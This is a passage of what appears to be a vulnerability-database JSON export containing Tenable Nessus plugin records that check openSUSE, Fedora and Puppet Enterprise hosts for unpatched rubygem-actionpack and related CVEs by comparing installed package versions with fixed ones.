script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.novell.com/show_bug.cgi?id=876714\");\n script_set_attribute(attribute:\"see_also\", value:\"https://lists.opensuse.org/opensuse-updates/2014-05/msg00080.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected rubygem-actionpack-3_2 package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/05/20\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/06/13\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:rubygem-actionpack-3_2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:12.3\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"SuSE Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE12\\.3)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"12.3\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE12.3\", reference:\"rubygem-actionpack-3_2-3.2.12-1.28.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"rubygem-actionpack-3_2\");\n}\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-04-16T14:07:14", "description": "- fix CVE-2014-0130: rubygem-actionpack: directory traversal issue (bnc#876714) CVE-2014-0130.patch:\n contains the fix", "cvss3": {"score": null, "vector": null}, "published": "2014-06-13T00:00:00", "type": "nessus", "title": "openSUSE Security Update : rubygem-actionpack-3_2 (openSUSE-SU-2014:0718-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0130"], "modified": "2022-03-28T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:rubygem-actionpack-3_2", "cpe:/o:novell:opensuse:13.1"], "id": "OPENSUSE-2014-397.NASL", "href": "https://www.tenable.com/plugins/nessus/75375", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2014-397.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(75375);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/03/28\");\n\n script_cve_id(\"CVE-2014-0130\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/04/15\");\n\n script_name(english:\"openSUSE Security Update : rubygem-actionpack-3_2 (openSUSE-SU-2014:0718-1)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote openSUSE host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"- fix CVE-2014-0130: rubygem-actionpack: directory\n traversal issue (bnc#876714) CVE-2014-0130.patch:\n contains the fix\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.novell.com/show_bug.cgi?id=876714\");\n script_set_attribute(attribute:\"see_also\", value:\"https://lists.opensuse.org/opensuse-updates/2014-05/msg00078.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected rubygem-actionpack-3_2 package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/05/20\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/06/13\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:rubygem-actionpack-3_2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:13.1\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"SuSE Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE13\\.1)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"13.1\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE13.1\", reference:\"rubygem-actionpack-3_2-3.2.13-2.24.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"rubygem-actionpack-3_2\");\n}\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-04-16T14:03:57", "description": "Fix for CVE-2014-0130 - Avoid directory traversal\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": null, "vector": null}, "published": "2014-05-25T00:00:00", "type": "nessus", "title": "Fedora 19 : rubygem-actionpack-3.2.13-6.fc19 (2014-6127)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0130"], "modified": "2022-03-28T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:rubygem-actionpack", "cpe:/o:fedoraproject:fedora:19"], "id": "FEDORA_2014-6127.NASL", "href": "https://www.tenable.com/plugins/nessus/74167", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2014-6127.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(74167);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/03/28\");\n\n script_cve_id(\"CVE-2014-0130\");\n script_bugtraq_id(67244);\n script_xref(name:\"FEDORA\", value:\"2014-6127\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/04/15\");\n\n script_name(english:\"Fedora 19 : rubygem-actionpack-3.2.13-6.fc19 (2014-6127)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Fedora host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"Fix for CVE-2014-0130 - Avoid directory traversal\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1095105\");\n # https://lists.fedoraproject.org/pipermail/package-announce/2014-May/133631.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?8c1f71f9\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected rubygem-actionpack package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/05/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/05/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:rubygem-actionpack\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:19\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Fedora Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^19([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 19.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC19\", reference:\"rubygem-actionpack-3.2.13-6.fc19\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"rubygem-actionpack\");\n}\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-04-16T14:02:51", "description": "This fixes Ruby on Rails 3.2.17 security issues :\n\n - CVE-2014-0081\n\n - CVE-2014-0082\n\nIncludes security patches for :\n\n - CVE-2013-6417 - Incomplete fix to CVE-2013-0155 (Unsafe Query Generation Risk)\n\n - CVE-2013-4491 - Reflective XSS Vulnerability in Ruby on Rails\n\n - CVE-2013-6415 - XSS Vulnerability in number_to_currency\n\n - CVE-2013-6414 - Denial of Service Vulnerability in Action View\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": null, "vector": null}, "published": "2014-03-11T00:00:00", "type": "nessus", "title": "Fedora 19 : rubygem-actionpack-3.2.13-5.fc19 (2014-3232)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-0155", "CVE-2013-4491", "CVE-2013-6414", "CVE-2013-6415", "CVE-2013-6417", "CVE-2014-0081", "CVE-2014-0082"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:rubygem-actionpack", "cpe:/o:fedoraproject:fedora:19"], "id": "FEDORA_2014-3232.NASL", "href": "https://www.tenable.com/plugins/nessus/72915", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2014-3232.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(72915);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2014-0081\", \"CVE-2014-0082\");\n script_bugtraq_id(65604);\n script_xref(name:\"FEDORA\", value:\"2014-3232\");\n\n script_name(english:\"Fedora 19 : rubygem-actionpack-3.2.13-5.fc19 (2014-3232)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This fixes Ruby on Rails 3.2.17 security issues :\n\n - CVE-2014-0081\n\n - CVE-2014-0082\n\nIncludes security patches for :\n\n - CVE-2013-6417 - Incomplete fix to CVE-2013-0155 (Unsafe\n Query Generation Risk)\n\n - CVE-2013-4491 - Reflective XSS Vulnerability in Ruby\n on Rails\n\n - CVE-2013-6415 - XSS Vulnerability in\n number_to_currency\n\n - CVE-2013-6414 - Denial of Service Vulnerability in\n Action View\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1065538\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2014-March/129854.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?cfc84e3f\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected rubygem-actionpack package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:ND/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:rubygem-actionpack\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:19\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/02/28\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/03/11\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^19([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 19.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC19\", reference:\"rubygem-actionpack-3.2.13-5.fc19\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"rubygem-actionpack\");\n}\n", "cvss": {"score": 5, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-08-19T12:50:53", "description": "This fixes Ruby on Rails 4.0.3 security CVEs :\n\n - CVE-2014-0080\n\n - CVE-2014-0081\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": null, "vector": null}, "published": "2014-03-11T00:00:00", "type": "nessus", "title": "Fedora 20 : rubygem-actionpack-4.0.0-3.fc20 / rubygem-activerecord-4.0.0-2.fc20 (2014-3169)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0080", "CVE-2014-0081"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:rubygem-actionpack", "p-cpe:/a:fedoraproject:fedora:rubygem-activerecord", "cpe:/o:fedoraproject:fedora:20"], "id": "FEDORA_2014-3169.NASL", "href": "https://www.tenable.com/plugins/nessus/72914", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2014-3169.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(72914);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2014-0080\", \"CVE-2014-0081\");\n script_bugtraq_id(65647, 65648);\n script_xref(name:\"FEDORA\", value:\"2014-3169\");\n\n script_name(english:\"Fedora 20 : rubygem-actionpack-4.0.0-3.fc20 / rubygem-activerecord-4.0.0-2.fc20 (2014-3169)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This fixes Ruby on Rails 4.0.3 security CVEs :\n\n - CVE-2014-0080\n\n - CVE-2014-0081\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1065517\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1065520\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2014-March/129715.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?589c9a96\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2014-March/129716.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?93d54ed7\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Update the affected rubygem-actionpack and / or rubygem-activerecord\npackages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:rubygem-actionpack\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:rubygem-activerecord\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:20\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/02/28\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/03/11\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^20([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 20.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC20\", reference:\"rubygem-actionpack-4.0.0-3.fc20\")) flag++;\nif (rpm_check(release:\"FC20\", reference:\"rubygem-activerecord-4.0.0-2.fc20\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"rubygem-actionpack / rubygem-activerecord\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-08-19T12:50:57", "description": "According to its self-reported version number, the Puppet Enterprise 3.x install on the remote host is prior to 3.2.0. As a result, it is reportedly affected by multiple vulnerabilities :\n\n - An error exists related to the PE consoles and identity verification that could allow security bypasses. (CVE-2013-4966)\n\n - An unspecified error exists related to endpoint nodes that could allow information disclosure. (CVE-2013-4971)\n\n - SET ROLE bypasses lack of ADMIN OPTION when granting roles. (CVE-2014-0060)\n\n - An error exists in the included Ruby on Rails version related to the text rendering component of Action View and handling MIME types that are converted to symbols that could allow denial of service attacks.\n (CVE-2014-0082)", "cvss3": {"score": null, "vector": null}, "published": "2014-03-21T00:00:00", "type": "nessus", "title": "Puppet Enterprise 3.x < 3.2.0 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4966", "CVE-2013-4971", "CVE-2014-0060", "CVE-2014-0082"], "modified": "2021-01-19T00:00:00", "cpe": ["cpe:/a:puppetlabs:puppet"], "id": "PUPPET_ENTERPRISE_321.NASL", "href": "https://www.tenable.com/plugins/nessus/73135", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(73135);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/19\");\n\n script_cve_id(\n \"CVE-2013-4966\",\n \"CVE-2013-4971\",\n \"CVE-2014-0060\",\n \"CVE-2014-0082\"\n );\n script_bugtraq_id(\n 65604,\n 65723,\n 65992,\n 65993\n );\n\n script_name(english:\"Puppet Enterprise 3.x < 3.2.0 Multiple Vulnerabilities\");\n script_summary(english:\"Checks Puppet Enterprise version\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A web application on the remote host is affected by multiple\nvulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its self-reported version number, the Puppet Enterprise\n3.x install on the remote host is prior to 3.2.0. As a result, it is\nreportedly affected by multiple vulnerabilities :\n\n - An error exists related to the PE consoles and\n identity verification that could allow security\n bypasses. (CVE-2013-4966)\n\n - An unspecified error exists related to endpoint nodes\n that could allow information disclosure. (CVE-2013-4971)\n\n - SET ROLE bypasses lack of ADMIN OPTION when granting\n roles. (CVE-2014-0060)\n\n - An error exists in the included Ruby on Rails version\n related to the text rendering component of Action View\n and handling MIME types that are converted to symbols\n that could allow denial of service attacks.\n (CVE-2014-0082)\");\n # https://groups.google.com/forum/#!searchin/puppet-users/3.2.1/puppet-users/7eK2Qs3XALU/G2nGJg4iTS4J\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?864eaaed\");\n script_set_attribute(attribute:\"see_also\", value:\"https://puppet.com/security/cve/cve-2013-4966\");\n script_set_attribute(attribute:\"see_also\", value:\"https://puppet.com/security/cve/cve-2013-4971\");\n script_set_attribute(attribute:\"see_also\", value:\"https://puppet.com/security/cve/cve-2014-0060\");\n script_set_attribute(attribute:\"see_also\", value:\"https://puppet.com/security/cve/cve-2014-0082\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Puppet Enterprise 3.2.1 or later.\n\nNote that the issues were reportedly addressed in 3.2.0, but that\nrelease was pulled because it contained two major issues.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2013-4966\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No exploit is required\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/17\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/03/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/03/21\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:puppetlabs:puppet\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"puppet_rest_detect.nasl\");\n script_require_keys(\"puppet/rest_port\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\n\n##\n# checks if the given version falls between the given bounds, and\n# generates plugin output if it does\n#\n# @anonparam ver version to check\n# @anonparam fix first fixed version\n# @anonparam min_ver the lowest/earliest vulnerable version, relative to 'fix' (optional)\n#\n# @return plugin output if 'ver' is vulnerable relative to 'fix' and/or 'min_ver',\n# NULL otherwise\n##\nfunction _check_version(enterprise)\n{\n local_var ver, fix, min_ver, major_ver, report;\n ver = _FCT_ANON_ARGS[0];\n fix = _FCT_ANON_ARGS[1];\n min_ver = _FCT_ANON_ARGS[2];\n\n if (\n # no lower bound\n (isnull(min_ver) && ver_compare(ver:ver, fix:fix, strict:FALSE) < 0) ||\n\n # lower bound\n (\n !isnull(min_ver) &&\n ver_compare(ver:ver, fix:fix, strict:FALSE) < 0 &&\n ver_compare(ver:ver, fix:min_ver, strict:FALSE) >= 0\n )\n )\n {\n if (enterprise)\n {\n report =\n '\\n Installed version : Puppet Enterprise ' + ver +\n '\\n Fixed version : Puppet Enterprise 3.2.1\\n'; # 3.2.0 was pulled\n }\n else report = NULL;\n }\n else report = NULL;\n\n return 